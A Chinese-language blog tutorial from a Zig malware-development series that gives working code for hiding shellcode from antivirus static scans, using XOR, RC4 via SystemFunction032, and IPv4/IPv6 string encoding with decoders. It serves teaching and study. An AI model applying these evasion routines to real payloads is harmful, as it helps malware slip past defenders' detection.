iT邦幫忙

2025 iThome 鐵人賽

DAY 9
0
Security

Zig 世代惡意程式戰記:暗影綠鬣蜥 の 獠牙與劇毒!系列 第 9

Day09 - 神出鬼沒的幻影綠鬣蜥:Payload 的加密與混淆(上)

  • 分享至 

  • xImage
  •  

走在時代前沿的前言

早安午安晚安,我是 CX330。我們昨天看了 PE 文件的格式,把整個 PE 文件的架構都介紹了一遍。今明兩天呢,我們要來看一下前幾天介紹過的 Shellcode 會以什麼樣的形式存在在程式碼裡面,會經過什麼樣的加密或是混淆等。

這個主題會分成上下兩篇,礙於篇幅,會把加密跟混淆的部分散佈在兩篇。由於不是密碼學相關的主題,不會深入加密的算法,主要是會介紹很多種加密和混淆的手法,因此範例程式碼會偏多。那就讓我們開始吧!

疊甲

中華民國刑法第 362 條:「製作專供犯本章之罪之電腦程式,而供自己或他人犯本章之罪,致生損害於公眾或他人者,處五年以下有期徒刑、拘役或科或併科六十萬元以下罰金。」

本系列文章涉及多種惡意程式的技術,旨在提升個人技術能力與資安意識。本人在此強烈呼籲讀者,切勿使用所學到的知識與技術從事任何違法行為!

Zig 版本

本系列文章中使用的 Zig 版本號為 0.14.1。

XOR 加密

XOR 是最簡單的加密方式,Payload 的每一個字節都會與一個 Key 進行 XOR 運算。解密也是使用相同的那把 Key。雖然如果知道了 Key 就可以很輕鬆的還原,但是 XOR 加密仍然可以把明文 Payload 隱藏於基本的檔案掃描中。

基本 XOR

我們先來看一下程式碼。

const std = @import("std");

/// This is the first approach to encrypt the payload.
/// We add the index "i" to each iteration to make the encryption
/// more complicated.
fn xorWithKeyAndIndex(payload: []u8, key: u8) void {
    for (payload, 0..) |*byte, i| {
        // Truncate i to u8 (i mod 256), then do wrapping add with key (overflow in the sum),
        // finally XOR the result with the payload byte.
        byte.* = byte.* ^ (key +% @as(u8, @truncate(i)));
    }
}

pub fn main() !void {
    const stdout = std.io.getStdOut().writer();

    var payload = [_]u8{ 0x10, 0x20, 0x30, 0x40, 0x50 };
    const key: u8 = 0xAA;
    try stdout.print("[+] Original payload: {any}\n", .{payload});
    // Encrypt
    xorWithKeyAndIndex(payload[0..], key);
    try stdout.print("[+] After xorByIKeys with key {X}: {any}\n", .{ key, payload });
    // Decrypt
    xorWithKeyAndIndex(payload[0..], key);
    try stdout.print("[+] Restored payload: {any}\n\n", .{payload});
}

我們先來看一下 xorWithKeyAndIndex 這個函數,它接收兩個參數,一個是 paylaod: []u8,另一個是 key: u8。接著我們看一下裡面這個迴圈:

for (payload, 0..) |*byte, i| {
    // Truncate i to u8 (i mod 256), then do wrapping add with key (overflow in the sum),
    // finally XOR the result with the payload byte.
    byte.* = byte.* ^ (key +% @as(u8, @truncate(i)));
}

我們會在這個迴圈中迭代 payload 跟一個會遞增的整數索引 i,接著使用捕獲的語法去捕獲 Payload 中的每一個字節的指針 *byte 跟索引值 i。接著,因為 i 有可能超過 255,所以要把它多餘的值給砍掉,並轉回 u8 型別(i & 0xFF),有點類似 Mod 運算,但效能更好。這邊會在迴圈中會用 @as(u8, @truncate(i)) 去把 i 轉為 0 到 255 的值。接著,會把 key 用環繞加法把這個值加上原本的 key,去保證這個 key 在 0 到 255 之間。最後會對每一個 byte 做解引用,再把這個值跟它做 XOR。

簡單來說,Pseudo code 會長這樣。

payload[i] = payload[i] XOR ((key + i) mod 256)

進階 XOR

一樣先看程式碼。

const std = @import("std");

/// This is the second approach to encrypt the payload.
/// We use a multi-bytes key and iterate each byte as different
/// key in each iteration.
fn xorWithMultiBytesKey(payload: []u8, key: []const u8) void {
    const key_len = key.len;
    if (key_len == 0) @panic("Key length must be greater than 0"); // Division by zero

    var j: usize = 0;
    for (payload) |*byte| {
        byte.* = byte.* ^ key[j];
        j += 1;
        if (j >= key_len) {
            j = 0;
        }
    }
}

pub fn main() !void {
    const stdout = std.io.getStdOut().writer();

    var payload = [_]u8{ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06 };
    const key = [_]u8{ 0x10, 0x20, 0x30 };
    try stdout.print("[+] Original payload2: {any}\n", .{payload});
    // Encrypt
    xorWithMultiBytesKey(payload[0..], key[0..]);
    try stdout.print("[+] After xorByInputKey with key {any}: {any}\n", .{ key, payload });
    // Decrypt
    xorWithMultiBytesKey(payload[0..], key[0..]);
    try stdout.print("[+] Restored payload2: {any}\n", .{payload});
}

看一下加密函數 xorWithMultiBytesKey,它接受兩個參數 payload: []u8 key: []const u8。與剛剛不同的是,這邊的 Key 是一個 u8 的陣列,而我們會使用這個 Key 的每個位元組去做加密。我們直接看一下這個迴圈,我們會去迭代 payload 並捕獲每個 byte 的指針 *byte,並且會在每次循環裡去把 key[j] 給當前的 byte.* 去做 XOR,並寫回原本的 byte.*。接著把 j 加上 1,如果大於等於原本的 Key 的長度,歸零。這樣可以使得 Key 更難被破解。

RC4 加密

在 Windows 中,有兩個函數可以幫助我們簡單的做 RC4 的加密,不過由於這兩個函數都是未被文檔所記錄的,所以需要去翻一下 ReactOS 所逆向出來的的函數定義。這兩個函數分別是 SystemFunction032SystemFunction033

這兩個函數是在 advapi32.dll 被匯出的,我們來把它丟進去 Binary Ninja 逆向看看。會發現它們兩個函數指向 cryptsp.dll 裡面的同名函數。

advapi32.dll

那我們去看一下 cryptsp.dll 裡面的這兩個函數,透過 Binary Ninja 的匯出表,我們可以看到兩個函數指向的地址是相同的,代表兩個函數是同一個實作。那既然如此,為什麼要匯出兩個名稱呢,查了一下發現應該是主要會用 SystemFunction032 來做加密,用 SystemFunction033 做解密,不過由於 RC4 是對稱式加密,因此混著用其實沒差。

那接著看一下 Zig 程式碼。

/// Helper function that calls SystemFunction032 (RC4)
/// Reference: https://osandamalith.com/2022/11/10/encrypting-shellcode-using-systemfunction032-033/
const std = @import("std");
const win = std.os.windows;
const DWORD = win.DWORD;
const PVOID = win.PVOID;
const kernel32 = win.kernel32;
const NTSTATUS = win.NTSTATUS;

const USTRING = extern struct {
    Length: DWORD,
    MaximumLength: DWORD,
    Buffer: PVOID,
};

const fnSystemFunction032 = fn (
    Data: *USTRING,
    Key: *USTRING,
) callconv(.C) NTSTATUS;

pub fn rc4EncryptionViaSystemFunc032(
    rc4Key: []u8,
    payloadData: []u8,
) bool {
    // Prepare the USTRING structs
    var Data = USTRING{
        .Buffer = payloadData.ptr,
        .Length = @intCast(payloadData.len),
        .MaximumLength = @intCast(payloadData.len),
    };
    var Key = USTRING{
        .Buffer = rc4Key.ptr,
        .Length = @intCast(rc4Key.len),
        .MaximumLength = @intCast(rc4Key.len),
    };

    // Convert "Advapi32" to UTF-16LE for LoadLibraryW
    const advapi32_w = std.unicode.utf8ToUtf16LeStringLiteral("Advapi32");
    const advapi32 = kernel32.LoadLibraryW(advapi32_w);
    if (advapi32 == null) {
        std.debug.print("[!] LoadLibraryW failed: {}\n", .{kernel32.GetLastError()});
        return false;
    }
    defer _ = kernel32.FreeLibrary(advapi32.?);

    const proc_addr = kernel32.GetProcAddress(advapi32.?, "SystemFunction032");
    if (proc_addr == null) {
        std.debug.print("[!] GetProcAddress failed: {}\n", .{kernel32.GetLastError()});
        return false;
    }

    const SystemFunction032: *const fnSystemFunction032 = @ptrCast(proc_addr);

    const status: NTSTATUS = SystemFunction032(&Data, &Key);

    if (status != 0) {
        std.debug.print("[!] SystemFunction032 FAILED With Error: 0x{X:0>8}\n", .{status});
        return false;
    }
    return true;
}

首先定義了一個結構體 USTRING,來表示 Unicode 的字串。使用 extern 關鍵字是因為要讓記憶體的佈局跟 C 結構相匹配。這個結構體裡面有三個成員,長度、最大長度和緩衝區。

接著定義一個函數原形 fnSystemFunction032,是 SystemFunction032 的指針。

最重要的,我們來看一下加密函數 rc4EncryptionViaSystemFunc032。它接收兩個參數 rc4Key: []u8payloadData: []u8 並會回傳一個布林值。由於 LoadLibraryW 是接受 Wide string,所以我們要先用 utf8ToUtf16LeStringLiteral 把原本的 "Advapi32" 轉為寬字串。接著再用 LoadLibraryW 去把 advapi.dll 給載入當前進程。接著再去用 GetProcAddress 去把 SystemFunction032 給抓出來,最後再用 @ptrCast 把那個地址的函數給轉成指針並賦值給 SystemFunction032 這個函數指針去做加密。

最後想要再次強調一下,這個程式碼中的 SystemFunction032 轉換成 SystemFunction033 也可以。

IP 地址混淆

IP 地址混淆是會把 Payload 在程式碼中寫成 IP 地址的形式,如此一來,可以規避掉一些比較基礎的 AV/EDR 的靜態掃描。

IPv4 混淆

IPv4 是從 4 個 0 到 255 的數字組成的($2^8$),因此每個數字剛好是一個位元組,4 個數字就可以表達 4 個位元組。舉例來說:

const payload = [_]u8{0xDE, 0xAD, 0xBE, 0xEF};

在混淆後,會變成 222.173.190.239。所以如果 Payload 不是 4 的倍數,可以建立一個函數來填充(Padding)Payload 使其變為 4 的倍數。

我們來看一下以下的實作程式碼。

const std = @import("std");
const Allocator = std.mem.Allocator;

// Function takes in 4 raw bytes and returns them in an IPv4 string format
fn generateIpv4(allocator: Allocator, a: u8, b: u8, c: u8, d: u8) ![]u8 {
    // Creating the IPv4 address string
    return try std.fmt.allocPrint(allocator, "{d}.{d}.{d}.{d}", .{ a, b, c, d });
}

/// Generate the IPv4 output representation of the shellcode
/// Function requires an allocator and shellcode as the input
fn generateIpv4Output(allocator: Allocator, shellcode: []const u8) !bool {
    const stdout = std.io.getStdOut().writer();

    // If the shellcode buffer is empty or the size is not a multiple of 4, exit
    if (shellcode.len == 0 or shellcode.len % 4 != 0) {
        return false;
    }

    try stdout.print("const ipv4_array = [_][*:0]const u8{{\n\t", .{});

    // We will read one shellcode byte at a time, when the total is 4, begin generating the IPv4 address
    // The variable 'c' is used to store the number of bytes read. By default, starts at 4.
    var c: usize = 4;
    var counter: usize = 0;

    var i: usize = 0;
    while (i < shellcode.len) : (i += 1) {
        // Track the number of bytes read and when they reach 4 we enter this if statement to begin generating the IPv4 address
        if (c == 4) {
            counter += 1;

            // Generating the IPv4 address from 4 bytes which begin at i until [i + 3]
            const ip = try generateIpv4(allocator, shellcode[i], shellcode[i + 1], shellcode[i + 2], shellcode[i + 3]);
            defer allocator.free(ip); // Free the allocated string when done

            if (i == shellcode.len - 4) {
                // Printing the last IPv4 address
                try stdout.print("\"{s}\"", .{ip});
                break;
            } else {
                // Printing the IPv4 address
                try stdout.print("\"{s}\", ", .{ip});
            }

            c = 1;

            // Optional: To beautify the output on the console
            if (counter % 8 == 0) {
                try stdout.print("\n\t", .{});
            }
        } else {
            c += 1;
        }
    }

    try stdout.print("\n}};\n\n", .{});
    return true;
}

pub fn main() !void {
    // Create an arena allocator that frees all allocations at once at the end
    var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator);
    defer arena.deinit();

    const allocator = arena.allocator();
    // Example shellcode (must be a multiple of 4 bytes)
    const shellcode = [_]u8{
        0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, // Add more shellcode here if needed
    };

    // Generate and print the IPv4 representation
    _ = try generateIpv4Output(allocator, &shellcode);
}

這邊重點混淆的函數就在於第一個 generateIpv4,而 generateIpv4Output 只是為了用來格式化輸出 Payload 的 Zig 語法,執行完的會像這樣。

Output of IPv4 Obfuscation

而主要的 generateIpv4 函數也只是把它輸入的十六進制轉為十進制而已。

IPv4 解混淆

要解混淆也超級簡單,可以直接使用 ntdll.dllRtlIpv4StringToAddressA 函數,這個函數就會把 IPv4 字串轉回 4 個位元組的形式,也就是原本的 Shellcode 的形式。

const std = @import("std");
const win = std.os.windows;
const kernel32 = win.kernel32;

const NTSTATUS = win.NTSTATUS;
const BOOLEAN = win.BOOLEAN;
const PCSTR = [*:0]const u8;
const PVOID = ?*anyopaque;
const PBYTE = [*]u8;
const SIZE_T = usize;

// Define function pointer type for RtlIpv4StringToAddressA
const fnRtlIpv4StringToAddressA = fn (
    S: PCSTR,
    Strict: BOOLEAN,
    Terminator: *PCSTR,
    Addr: PVOID,
) callconv(win.WINAPI) NTSTATUS;

/// Deobfuscates an array of IPv4 strings into a byte buffer
pub fn ipv4Deobfuscation(
    ipv4Array: []const [*:0]const u8,
    allocator: std.mem.Allocator,
) !struct { buffer: []u8, size: SIZE_T } {
    // Create a UTF-16 string for "NTDLL"
    const ntdll_w: [*:0]const u16 = std.unicode.utf8ToUtf16LeStringLiteral("NTDLL");

    // Load the NTDLL library using wide string
    const ntdll_module = kernel32.GetModuleHandleW(ntdll_w);
    if (ntdll_module == null) {
        std.debug.print("[!] GetModuleHandle Failed With Error : {}\n", .{kernel32.GetLastError()});
        return error.GetModuleHandleFailed;
    }

    // Get the address of RtlIpv4StringToAddressA function
    const rtlIpv4StringToAddressA_ptr = kernel32.GetProcAddress(ntdll_module.?, "RtlIpv4StringToAddressA");
    if (rtlIpv4StringToAddressA_ptr == null) {
        std.debug.print("[!] GetProcAddress Failed With Error : {}\n", .{kernel32.GetLastError()});
        return error.GetProcAddressFailed;
    }

    // Cast the function pointer to the correct type
    const rtlIpv4StringToAddressA: *const fnRtlIpv4StringToAddressA = @ptrCast(rtlIpv4StringToAddressA_ptr);

    // Calculate the size of the buffer needed (number of IPv4 addresses * 4 bytes each)
    const bufferSize = ipv4Array.len * 4;

    // Allocate memory for the deobfuscated shellcode
    var buffer = try allocator.alloc(u8, bufferSize);
    errdefer allocator.free(buffer);

    // Deobfuscate each IPv4 address
    for (ipv4Array, 0..) |ipAddress, i| {
        var terminator: PCSTR = undefined;

        // Calculate the offset in the buffer for this IPv4 address
        const offset = i * 4;

        // Convert the IPv4 string to bytes
        const status = rtlIpv4StringToAddressA(ipAddress, win.FALSE, &terminator, &buffer[offset]);

        // Check if the status is not SUCCESS (0)
        // Use the proper status constant from the ntstatus module
        if (status != NTSTATUS.SUCCESS) {
            std.debug.print("[!] RtlIpv4StringToAddressA Failed At [{s}] With Error 0x{X:0>8}\n", .{ ipAddress, @intFromEnum(status) });
            return error.RtlIpv4StringToAddressFailed;
        }
    }

    return .{ .buffer = buffer, .size = bufferSize };
}

pub fn main() !void {
    // Setup allocator
    var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator);
    defer arena.deinit();
    const allocator = arena.allocator();

    // Example array of IPv4 addresses
    const ipv4_array = [_][*:0]const u8{ "252.72.131.228", "240.232.192.0", "0.0.65.81", "65.80.82.81" };
    std.debug.print("[+] Attempting to deobfuscate {} IPv4 addresses\n", .{ipv4_array.len});

    // Call the deobfuscation function
    const result = try ipv4Deobfuscation(&ipv4_array, allocator);
    defer allocator.free(result.buffer);

    std.debug.print("[+] Successfully deobfuscated shellcode\n", .{});
    std.debug.print("[+] Buffer size: {} bytes\n", .{result.size});

    // Optionally print the bytes (first 16 bytes or fewer if smaller)
    const bytes_to_print = @min(result.size, 16);
    std.debug.print("[+] First {} bytes: ", .{bytes_to_print});
    for (result.buffer[0..bytes_to_print]) |byte| {
        std.debug.print("{X:0>2} ", .{byte});
    }
    std.debug.print("\n", .{});
}

IPv6 混淆

和 IPv4 差不多,只不過它是每個 IP 位址是有 16 個位元組。假設有一個 Payload 是 0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,則混淆後會變成 FC48:83E4:F0E8:C000:0000:4151:4150:5251 的形式。

再次提醒一下,如果 Payload 的長度不能被 16 整除,可以寫個函數去填充 Payload。我們來看一下實作程式碼。

const std = @import("std");
const Allocator = std.mem.Allocator;

/// Function takes in 16 raw bytes and returns them in an IPv6 address string format
fn generateIpv6(allocator: Allocator, bytes: [16]u8) ![]u8 {
    // Each segment is 2 bytes (4 hex characters + colon)
    // Format as 8 segments of 2 bytes each with colons between them
    return try std.fmt.allocPrint(
        allocator,
        "{X:0>2}{X:0>2}:{X:0>2}{X:0>2}:{X:0>2}{X:0>2}:{X:0>2}{X:0>2}:{X:0>2}{X:0>2}:{X:0>2}{X:0>2}:{X:0>2}{X:0>2}:{X:0>2}{X:0>2}",
        .{
            bytes[0],  bytes[1],  bytes[2],  bytes[3],
            bytes[4],  bytes[5],  bytes[6],  bytes[7],
            bytes[8],  bytes[9],  bytes[10], bytes[11],
            bytes[12], bytes[13], bytes[14], bytes[15],
        },
    );
}

/// Generate the IPv6 output representation of the shellcode
/// Function requires a slice to the shellcode buffer
fn generateIpv6Output(allocator: Allocator, shellcode: []const u8) !bool {
    const stdout = std.io.getStdOut().writer();

    // If the shellcode buffer is empty or the size is not a multiple of 16, exit
    if (shellcode.len == 0 or shellcode.len % 16 != 0) {
        return false;
    }

    try stdout.print("const ipv6_array = [_][*:0]const u8{{\n    ", .{});

    // We will read one shellcode byte at a time, when the total is 16, begin generating the IPv6 address
    // The variable 'c' is used to store the number of bytes read. By default, starts at 16.
    var c: usize = 16;
    var counter: usize = 0;

    var i: usize = 0;
    while (i < shellcode.len) : (i += 1) {
        // Track the number of bytes read and when they reach 16 we enter this if statement to begin generating the IPv6 address
        if (c == 16) {
            counter += 1;

            // Create a temporary array to hold the 16 bytes
            var temp_bytes: [16]u8 = undefined;
            @memcpy(temp_bytes[0..], shellcode[i..][0..16]);

            // Generating the IPv6 address from 16 bytes
            const ip = try generateIpv6(allocator, temp_bytes);
            defer allocator.free(ip);

            if (i == shellcode.len - 16) {
                // Printing the last IPv6 address
                try stdout.print("\"{s}\"", .{ip});
                break;
            } else {
                // Printing the IPv6 address
                try stdout.print("\"{s}\", ", .{ip});
            }

            c = 1;

            // Optional: To beautify the output on the console
            if (counter % 3 == 0) {
                try stdout.print("\n    ", .{});
            }
        } else {
            c += 1;
        }
    }

    try stdout.print("\n}};\n\n", .{});
    return true;
}

pub fn main() !void {
    // Create an arena allocator for efficient memory management
    var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator);
    defer arena.deinit();

    const allocator = arena.allocator();

    // Example shellcode (must be a multiple of 16 bytes)
    const shellcode = [_]u8{
        0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, // Add more shellcode here if needed
    };

    // Generate and print the IPv6 representation
    _ = try generateIpv6Output(allocator, &shellcode);
}

這邊最主要的函數是 generateIpv6 這個混淆主函數,它會把輸入的位元組全部轉換為 {X:0>2} 的形式,以下是每個字元的解釋:

  • X
    • 大寫十六進制
  • :0>2
    • 格式選項
    • 0
      • 用 0 填充
    • >
      • 對齊右邊
    • 2
      • 兩個字元

之後的 generateIpv6Output 也只是用來格式化輸出而已,大家有興趣可以自己研究一下程式碼。

IPv6 解混消

解混淆也是差不多,只不過這次要調用的是 RtlIpv6StringToAddressA 這個函數。

const std = @import("std");
const win = std.os.windows;
const kernel32 = win.kernel32;

const NTSTATUS = win.NTSTATUS;
const BOOLEAN = win.BOOLEAN;
const PCSTR = [*:0]const u8;
const PVOID = ?*anyopaque;
const PBYTE = [*]u8;
const SIZE_T = usize;

// Define function pointer type for RtlIpv6StringToAddressA
const fnRtlIpv6StringToAddressA = fn (
    S: PCSTR,
    Terminator: *PCSTR,
    Addr: PVOID,
) callconv(win.WINAPI) NTSTATUS;

/// Deobfuscates an array of IPv6 strings into a byte buffer
pub fn ipv6Deobfuscation(
    ipv6Array: []const [*:0]const u8,
    allocator: std.mem.Allocator,
) !struct { buffer: []u8, size: SIZE_T } {
    // Create a UTF-16 string for "NTDLL"
    const ntdll_w: [*:0]const u16 = std.unicode.utf8ToUtf16LeStringLiteral("NTDLL");

    // Load the NTDLL library using wide string
    const ntdll_module = kernel32.GetModuleHandleW(ntdll_w);
    if (ntdll_module == null) {
        std.debug.print("[!] GetModuleHandle Failed With Error : {}\n", .{kernel32.GetLastError()});
        return error.GetModuleHandleFailed;
    }

    // Get the address of RtlIpv6StringToAddressA function
    const rtlIpv6StringToAddressA_ptr = kernel32.GetProcAddress(ntdll_module.?, "RtlIpv6StringToAddressA");
    if (rtlIpv6StringToAddressA_ptr == null) {
        std.debug.print("[!] GetProcAddress Failed With Error : {}\n", .{kernel32.GetLastError()});
        return error.GetProcAddressFailed;
    }

    // Cast the function pointer to the correct type
    const rtlIpv6StringToAddressA: *const fnRtlIpv6StringToAddressA = @ptrCast(rtlIpv6StringToAddressA_ptr);

    // Calculate the size of the buffer needed (number of IPv6 addresses * 16 bytes each)
    const bufferSize = ipv6Array.len * 16; // IPv6 addresses are 16 bytes each

    // Allocate memory for the deobfuscated shellcode
    const buffer = try allocator.alloc(u8, bufferSize);
    errdefer allocator.free(buffer);

    // Using a raw pointer to keep track of our current position
    var tmpBuffer: [*]u8 = buffer.ptr;

    // Deobfuscate each IPv6 address
    for (ipv6Array) |ipv6Address| {
        var terminator: PCSTR = undefined;

        // Convert the IPv6 string to bytes
        const status = rtlIpv6StringToAddressA(ipv6Address, &terminator, tmpBuffer);

        // Check if the status is not SUCCESS (0)
        if (status != NTSTATUS.SUCCESS) {
            std.debug.print("[!] RtlIpv6StringToAddressA Failed At [{s}] With Error 0x{X:0>8}\n", .{ ipv6Address, @intFromEnum(status) });
            return error.RtlIpv6StringToAddressFailed;
        }

        // Increment tmpBuffer by 16 bytes for the next address
        // Fixed version using pointer arithmetic
        tmpBuffer = @as([*]u8, @ptrFromInt(@intFromPtr(tmpBuffer) + 16));
    }

    return .{ .buffer = buffer, .size = bufferSize };
}

pub fn main() !void {
    // Setup allocator
    var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator);
    defer arena.deinit();
    const allocator = arena.allocator();

    // Example array of IPv6 addresses (shellcode encoded as IPv6)
    const ipv6_array = [_][*:0]const u8{
        "fc48:83e4:f0e8:c000:0000:4151:4150:5251",
    };

    std.debug.print("[+] Attempting to deobfuscate {} IPv6 addresses\n", .{ipv6_array.len});

    // Call the deobfuscation function
    const result = try ipv6Deobfuscation(&ipv6_array, allocator);
    defer allocator.free(result.buffer);

    std.debug.print("[+] Successfully deobfuscated shellcode\n", .{});
    std.debug.print("[+] Buffer size: {} bytes\n", .{result.size});

    // Print all bytes
    std.debug.print("[+] Deobfuscated bytes: ", .{});
    for (result.buffer) |byte| {
        std.debug.print("{X:0>2} ", .{byte});
    }
    std.debug.print("\n", .{});
}

鐵人賽期 PoPoo,你今天轉 Po 了嗎?

好啦,那這就是今天的內容。明天我們將會繼續看更多的加密和混淆的技術,然後後天會帶大家一起實作一個小小的專案,用來幫助日後的惡意程式開發。是說寫著寫著也已經快過完三分之一了,加油加油繼續努力!

如果對惡意程式開發或是惡意程式分析有興趣的話,這個系列會很適合你!最後也感謝大家的閱讀,歡迎順手按讚留言訂閱轉發(轉發可以讓朋友們知道你都在讀這種很技術的文章,他們會覺得你好帥好強好電,然後開始裝弱互相吹捧)~明天見!


上一篇
Day08 - 惡意程式前哨戰:全面分解 PE 文件格式
系列文
Zig 世代惡意程式戰記:暗影綠鬣蜥 の 獠牙與劇毒!9
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言